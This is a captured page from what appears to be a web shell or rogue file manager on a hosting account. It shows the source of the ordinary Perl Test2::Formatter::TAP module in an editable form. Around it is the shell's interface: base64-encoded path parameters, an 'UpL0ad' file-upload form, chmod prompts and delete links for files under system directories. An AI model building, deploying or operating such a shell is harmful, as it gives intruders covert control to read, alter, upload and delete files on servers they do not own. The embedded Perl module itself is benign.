<hr>TAP.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mi9Gb3JtYXR0ZXI%3D&f=VEFQLnBt"><input name="f" value="TAP.pm"><textarea name="t">package Test2::Formatter::TAP;
use strict;
use warnings;

our $VERSION = &#039;1.302183&#039;;

use Test2::Util qw/clone_io/;

use Test2::Util::HashBase qw{
    no_numbers handles _encoding _last_fh
    -made_assertion
};

sub OUT_STD() { 0 }
sub OUT_ERR() { 1 }

BEGIN { require Test2::Formatter; our @ISA = qw(Test2::Formatter) }

my $supports_tables;
sub supports_tables {
    if (!defined $supports_tables) {
        local $SIG{__DIE__} = &#039;DEFAULT&#039;;
        local $@;
        $supports_tables
            = ($INC{&#039;Term/Table.pm&#039;} &amp;&amp; $INC{&#039;Term/Table/Util.pm&#039;})
            || eval { require Term::Table; require Term::Table::Util; 1 }
            || 0;
    }
    return $supports_tables;
}

sub _autoflush {
    my($fh) = pop;
    my $old_fh = select $fh;
    $| = 1;
    select $old_fh;
}

_autoflush(\*STDOUT);
_autoflush(\*STDERR);

sub hide_buffered { 1 }

sub init {
    my $self = shift;

    $self-&gt;{+HANDLES} ||= $self-&gt;_open_handles;
    if(my $enc = delete $self-&gt;{encoding}) {
        $self-&gt;encoding($enc);
    }
}

sub _open_handles {
    my $self = shift;

    require Test2::API;
    my $out = clone_io(Test2::API::test2_stdout());
    my $err = clone_io(Test2::API::test2_stderr());

    _autoflush($out);
    _autoflush($err);

    return [$out, $err];
}

sub encoding {
    my $self = shift;

    if ($] ge &quot;5.007003&quot; and @_) {
        my ($enc) = @_;
        my $handles = $self-&gt;{+HANDLES};

        # https://rt.perl.org/Public/Bug/Display.html?id=31923
        # If utf8 is requested we use &#039;:utf8&#039; instead of &#039;:encoding(utf8)&#039; in
        # order to avoid the thread segfault.
        if ($enc =~ m/^utf-?8$/i) {
            binmode($_, &quot;:utf8&quot;) for @$handles;
        }
        else {
            binmode($_, &quot;:encoding($enc)&quot;) for @$handles;
        }
        $self-&gt;{+_ENCODING} = $enc;
    }

    return $self-&gt;{+_ENCODING};
}

if ($^C) {
    no warnings &#039;redefine&#039;;
    *write = sub {};
}
sub write {
    my ($self, $e, $num, $f) = @_;

    # The most common case, a pass event with no amnesty and a normal name.
    return if $self-&gt;print_optimal_pass($e, $num);

    $f ||= $e-&gt;facet_data;

    $self-&gt;encoding($f-&gt;{control}-&gt;{encoding}) if $f-&gt;{control}-&gt;{encoding};

    my @tap = $self-&gt;event_tap($f, $num) or return;

    $self-&gt;{+MADE_ASSERTION} = 1 if $f-&gt;{assert};

    my $nesting = $f-&gt;{trace}-&gt;{nested} || 0;
    my $handles = $self-&gt;{+HANDLES};
    my $indent = &#039;    &#039; x $nesting;

    # Local is expensive! Only do it if we really need to.
    local($\, $,) = (undef, &#039;&#039;) if $\ || $,;
    for my $set (@tap) {
        no warnings &#039;uninitialized&#039;;
        my ($hid, $msg) = @$set;
        next unless $msg;
        my $io = $handles-&gt;[$hid] or next;

        print $io &quot;\n&quot;
            if $ENV{HARNESS_ACTIVE}
            &amp;&amp; $hid == OUT_ERR
            &amp;&amp; $self-&gt;{+_LAST_FH} != $io
            &amp;&amp; $msg =~ m/^#\s*Failed( \(TODO\))? test /;

        $msg =~ s/^/$indent/mg if $nesting;
        print $io $msg;
        $self-&gt;{+_LAST_FH} = $io;
    }
}

sub print_optimal_pass {
    my ($self, $e, $num) = @_;

    my $type = ref($e);

    # Only optimal if this is a Pass or a passing Ok
    return unless $type eq &#039;Test2::Event::Pass&#039; || ($type eq &#039;Test2::Event::Ok&#039; &amp;&amp; $e-&gt;{pass});

    # Amnesty requires further processing (todo is a form of amnesty)
    return if ($e-&gt;{amnesty} &amp;&amp; @{$e-&gt;{amnesty}}) || defined($e-&gt;{todo});

    # A name with a newline or hash symbol needs extra processing
    return if defined($e-&gt;{name}) &amp;&amp; (-1 != index($e-&gt;{name}, &quot;\n&quot;) || -1 != index($e-&gt;{name}, &#039;#&#039;));

    my $ok = &#039;ok&#039;;
    $ok .= &quot; $num&quot; if $num &amp;&amp; !$self-&gt;{+NO_NUMBERS};
    $ok .= defined($e-&gt;{name}) ? &quot; - $e-&gt;{name}\n&quot; : &quot;\n&quot;;

    if (my $nesting = $e-&gt;{trace}-&gt;{nested}) {
        my $indent = &#039;    &#039; x $nesting;
        $ok = &quot;$indent$ok&quot;;
    }

    my $io = $self-&gt;{+HANDLES}-&gt;[OUT_STD];

    local($\, $,) = (undef, &#039;&#039;) if $\ || $,;
    print $io $ok;
    $self-&gt;{+_LAST_FH} = $io;

    return 1;
}

sub event_tap {
    my ($self, $f, $num) = @_;

    my @tap;

    # If this IS the first event the plan should come first
    # (plan must be before or after assertions, not in the middle)
    push @tap =&gt; $self-&gt;plan_tap($f) if $f-&gt;{plan} &amp;&amp; !$self-&gt;{+MADE_ASSERTION};

    # The assertion is most important, if present.
    if ($f-&gt;{assert}) {
        push @tap =&gt; $self-&gt;assert_tap($f, $num);
        push @tap =&gt; $self-&gt;debug_tap($f, $num) unless $f-&gt;{assert}-&gt;{no_debug} || $f-&gt;{assert}-&gt;{pass};
    }

    # Almost as important as an assertion
    push @tap =&gt; $self-&gt;error_tap($f) if $f-&gt;{errors};

    # Now lets see the diagnostics messages
    push @tap =&gt; $self-&gt;info_tap($f) if $f-&gt;{info};

    # If this IS NOT the first event the plan should come last
    # (plan must be before or after assertions, not in the middle)
    push @tap =&gt; $self-&gt;plan_tap($f) if $self-&gt;{+MADE_ASSERTION} &amp;&amp; $f-&gt;{plan};

    # Bail out
    push @tap =&gt; $self-&gt;halt_tap($f) if $f-&gt;{control}-&gt;{halt};

    return @tap if @tap;
    return @tap if $f-&gt;{control}-&gt;{halt};
    return @tap if grep { $f-&gt;{$_} } qw/assert plan info errors/;

    # Use the summary as a fallback if nothing else is usable.
    return $self-&gt;summary_tap($f, $num);
}

sub error_tap {
    my $self = shift;
    my ($f) = @_;

    my $IO = ($f-&gt;{amnesty} &amp;&amp; @{$f-&gt;{amnesty}}) ? OUT_STD : OUT_ERR;

    return map {
        my $details = $_-&gt;{details};

        my $msg;
        if (ref($details)) {
            require Data::Dumper;
            my $dumper = Data::Dumper-&gt;new([$details])-&gt;Indent(2)-&gt;Terse(1)-&gt;Pad(&#039;# &#039;)-&gt;Useqq(1)-&gt;Sortkeys(1);
            chomp($msg = $dumper-&gt;Dump);
        }
        else {
            chomp($msg = $details);
            $msg =~ s/^/# /;
            $msg =~ s/\n/\n# /g;
        }

        [$IO, &quot;$msg\n&quot;];
    } @{$f-&gt;{errors}};
}

sub plan_tap {
    my $self = shift;
    my ($f) = @_;
    my $plan = $f-&gt;{plan} or return;

    return if $plan-&gt;{none};

    if ($plan-&gt;{skip}) {
        my $reason = $plan-&gt;{details} or return [OUT_STD, &quot;1..0 # SKIP\n&quot;];
        chomp($reason);
        return [OUT_STD, &#039;1..0 # SKIP &#039; . $reason . &quot;\n&quot;];
    }

    return [OUT_STD, &quot;1..&quot; . $plan-&gt;{count} . &quot;\n&quot;];
}

sub no_subtest_space { 0 }
sub assert_tap {
    my $self = shift;
    my ($f, $num) = @_;

    my $assert = $f-&gt;{assert} or return;
    my $pass = $assert-&gt;{pass};
    my $name = $assert-&gt;{details};

    my $ok = $pass ? &#039;ok&#039; : &#039;not ok&#039;;
    $ok .= &quot; $num&quot; if $num &amp;&amp; !$self-&gt;{+NO_NUMBERS};

    # The regex form is ~250ms, the index form is ~50ms
    my @extra;
    defined($name) &amp;&amp; (
        (index($name, &quot;\n&quot;) != -1 &amp;&amp; (($name, @extra) = split(/\n\r?/, $name, -1))),
        ((index($name, &quot;#&quot; ) != -1  || substr($name, -1) eq &#039;\\&#039;) &amp;&amp; (($name =~ s|\\|\\\\|g), ($name =~ s|#|\\#|g)))
    );

    my $extra_space = @extra ? &#039; &#039; x (length($ok) + 2) : &#039;&#039;;
    my $extra_indent = &#039;&#039;;

    my ($directives, $reason, $is_skip);
    if ($f-&gt;{amnesty}) {
        my %directives;

        for my $am (@{$f-&gt;{amnesty}}) {
            next if $am-&gt;{inherited};
            my $tag = $am-&gt;{tag} or next;
            $is_skip = 1 if $tag eq &#039;skip&#039;;

            $directives{$tag} ||= $am-&gt;{details};
        }

        my %seen;

        # Sort so that TODO comes before skip even on systems where lc sorts
        # before uc, as other code depends on that ordering.
        my @order = grep { !$seen{$_}++ } sort { lc $b cmp lc $a } keys %directives;

        $directives = &#039; # &#039; . join &#039; &amp; &#039; =&gt; @order;

        for my $tag (&#039;skip&#039;, @order) {
            next unless defined($directives{$tag}) &amp;&amp; length($directives{$tag});
            $reason = $directives{$tag};
            last;
        }
    }

    $ok .= &quot; - $name&quot; if defined $name &amp;&amp; !($is_skip &amp;&amp; !$name);

    my @subtap;
    if ($f-&gt;{parent} &amp;&amp; $f-&gt;{parent}-&gt;{buffered}) {
        $ok .= &#039; {&#039;;

        # In a verbose harness we indent the extra since they will appear
        # inside the subtest braces. This helps readability. In a non-verbose
        # harness we do not do this because it is less readable.
        if ($ENV{HARNESS_IS_VERBOSE} || !$ENV{HARNESS_ACTIVE}) {
            $extra_indent = &quot;    &quot;;
            $extra_space = &#039; &#039;;
        }

        # Render the sub-events, we use our own counter for these.
        my $count = 0;
        @subtap = map {
            my $f2 = $_;

            # Bump the count for any event that should bump it.
            $count++ if $f2-&gt;{assert};

            # This indents all output lines generated for the sub-events.
            # index 0 is the filehandle, index 1 is the message we want to indent.
            map { $_-&gt;[1] =~ s/^(.*\S.*)$/    $1/mg; $_ } $self-&gt;event_tap($f2, $count);
        } @{$f-&gt;{parent}-&gt;{children}};

        push @subtap =&gt; [OUT_STD, &quot;}\n&quot;];
    }

    if ($directives) {
        $directives = &#039; # TODO &amp; SKIP&#039; if $directives eq &#039; # TODO &amp; skip&#039;;
        $ok .= $directives;
        $ok .= &quot; $reason&quot; if defined($reason);
    }

    $extra_space = &#039; &#039; if $self-&gt;no_subtest_space;

    my @out = ([OUT_STD, &quot;$ok\n&quot;]);
    push @out =&gt; map {[OUT_STD, &quot;${extra_indent}#${extra_space}$_\n&quot;]} @extra if @extra;
    push @out =&gt; @subtap;

    return @out;
}

sub debug_tap {
    my ($self, $f, $num) = @_;

    # Figure out the debug info, this is typically the file name and line
    # number, but can also be a custom message. If no trace object is provided
    # then we have nothing useful to display.
    my $name  = $f-&gt;{assert}-&gt;{details};
    my $trace = $f-&gt;{trace};

    my $debug = &quot;[No trace info available]&quot;;
    if ($trace-&gt;{details}) {
        $debug = $trace-&gt;{details};
    }
    elsif ($trace-&gt;{frame}) {
        my ($pkg, $file, $line) = @{$trace-&gt;{frame}};
        $debug = &quot;at $file line $line.&quot; if $file &amp;&amp; $line;
    }

    my $amnesty = $f-&gt;{amnesty} &amp;&amp; @{$f-&gt;{amnesty}}
        ? &#039; (with amnesty)&#039;
        : &#039;&#039;;

    # Create the initial diagnostics. If the test has a name we put the debug
    # info on a second line, this behavior is inherited from Test::Builder.
    my $msg = defined($name)
        ? qq[# Failed test${amnesty} &#039;$name&#039;\n# $debug\n]
        : qq[# Failed test${amnesty} $debug\n];

    my $IO = $f-&gt;{amnesty} &amp;&amp; @{$f-&gt;{amnesty}} ? OUT_STD : OUT_ERR;

    return [$IO, $msg];
}

sub halt_tap {
    my ($self, $f) = @_;

    return if $f-&gt;{trace}-&gt;{nested} &amp;&amp; !$f-&gt;{trace}-&gt;{buffered};
    my $details = $f-&gt;{control}-&gt;{details};

    return [OUT_STD, &quot;Bail out!\n&quot;] unless defined($details) &amp;&amp; length($details);
    return [OUT_STD, &quot;Bail out!  $details\n&quot;];
}

sub info_tap {
    my ($self, $f) = @_;

    return map {
        my $details = $_-&gt;{details};
        my $table   = $_-&gt;{table};

        my $IO = $_-&gt;{debug} &amp;&amp; !($f-&gt;{amnesty} &amp;&amp; @{$f-&gt;{amnesty}}) ? OUT_ERR : OUT_STD;

        my $msg;
        if ($table &amp;&amp; $self-&gt;supports_tables) {
            $msg = join &quot;\n&quot; =&gt; map { &quot;# $_&quot; } Term::Table-&gt;new(
                header      =&gt; $table-&gt;{header},
                rows        =&gt; $table-&gt;{rows},
                collapse    =&gt; $table-&gt;{collapse},
                no_collapse =&gt; $table-&gt;{no_collapse},
                sanitize    =&gt; 1,
                mark_tail   =&gt; 1,
                max_width   =&gt; $self-&gt;calc_table_size($f),
            )-&gt;render();
        }
        elsif (ref($details)) {
            require Data::Dumper;
            my $dumper = Data::Dumper-&gt;new([$details])-&gt;Indent(2)-&gt;Terse(1)-&gt;Pad(&#039;# &#039;)-&gt;Useqq(1)-&gt;Sortkeys(1);
            chomp($msg = $dumper-&gt;Dump);
        }
        else {
            chomp($msg = $details);
            $msg =~ s/^/# /;
            $msg =~ s/\n/\n# /g;
        }

        [$IO, &quot;$msg\n&quot;];
    } @{$f-&gt;{info}};
}

sub summary_tap {
    my ($self, $f, $num) = @_;

    return if $f-&gt;{about}-&gt;{no_display};

    my $summary = $f-&gt;{about}-&gt;{details} or return;
    chomp($summary);
    $summary =~ s/^/# /smg;

    return [OUT_STD, &quot;$summary\n&quot;];
}

sub calc_table_size {
    my $self = shift;
    my ($f) = @_;

    my $term = Term::Table::Util::term_size();
    my $nesting = 2 + (($f-&gt;{trace}-&gt;{nested} || 0) * 4); # 4 spaces per level, also &#039;# &#039; prefix
    my $total = $term - $nesting;

    # Sane minimum width, any smaller and we are asking for pain
    return 50 if $total &lt; 50;

    return $total;
}

1;

__END__

=pod

=encoding UTF-8

=head1 NAME

Test2::Formatter::TAP - Standard TAP formatter

=head1 DESCRIPTION

This is what takes events and turns them into TAP.

=head1 SYNOPSIS

    use Test2::Formatter::TAP;
    my $tap = Test2::Formatter::TAP-&gt;new();

    # Switch to utf8
    $tap-&gt;encoding(&#039;utf8&#039;);

    $tap-&gt;write($event, $number); # Output an event

=head1 METHODS

=over 4

=item $bool = $tap-&gt;no_numbers

=item $tap-&gt;set_no_numbers($bool)

Use to turn numbers on and off.

=item $arrayref = $tap-&gt;handles

=item $tap-&gt;set_handles(\@handles);

Can be used to get/set the filehandles. Indexes are identified by the
C&lt;OUT_STD&gt; and C&lt;OUT_ERR&gt; constants.

=item $encoding = $tap-&gt;encoding

=item $tap-&gt;encoding($encoding)

Get or set the encoding. By default no encoding is set, the original settings
of STDOUT and STDERR are used.

This directly modifies the stored filehandles, it does not create new ones.

=item $tap-&gt;write($e, $num)

Write an event to the console.

=back

=head1 SOURCE

The source code repository for Test2 can be found at
F&lt;http://github.com/Test-More/test-more/&gt;.

=head1 MAINTAINERS

=over 4

=item Chad Granum E&lt;lt&gt;exodist@cpan.orgE&lt;gt&gt;

=back

=head1 AUTHORS

=over 4

=item Chad Granum E&lt;lt&gt;exodist@cpan.orgE&lt;gt&gt;

=item Kent Fredric E&lt;lt&gt;kentnl@cpan.orgE&lt;gt&gt;

=back

=head1 COPYRIGHT

Copyright 2020 Chad Granum E&lt;lt&gt;exodist@cpan.orgE&lt;gt&gt;.

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

See F&lt;http://dev.perl.org/licenses/&gt;

=cut
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /usr/share/perl5/vendor_perl/Test2/Formatter<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mi9Gb3JtYXR0ZXI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mi9Gb3JtYXR0ZXI=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>20</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mg=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mi9Gb3JtYXR0ZXI=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mi9Gb3JtYXR0ZXI=&x=VEFQLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mi9Gb3JtYXR0ZXI=&f=VEFQLnBt"/>TAP.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS92ZW5kb3JfcGVybC9UZXN0Mi9Gb3JtYXR0ZXI=&f=VEFQLnBt&c=`+btoa(c):0" value="0644"></td><td>13732</td></tr></table>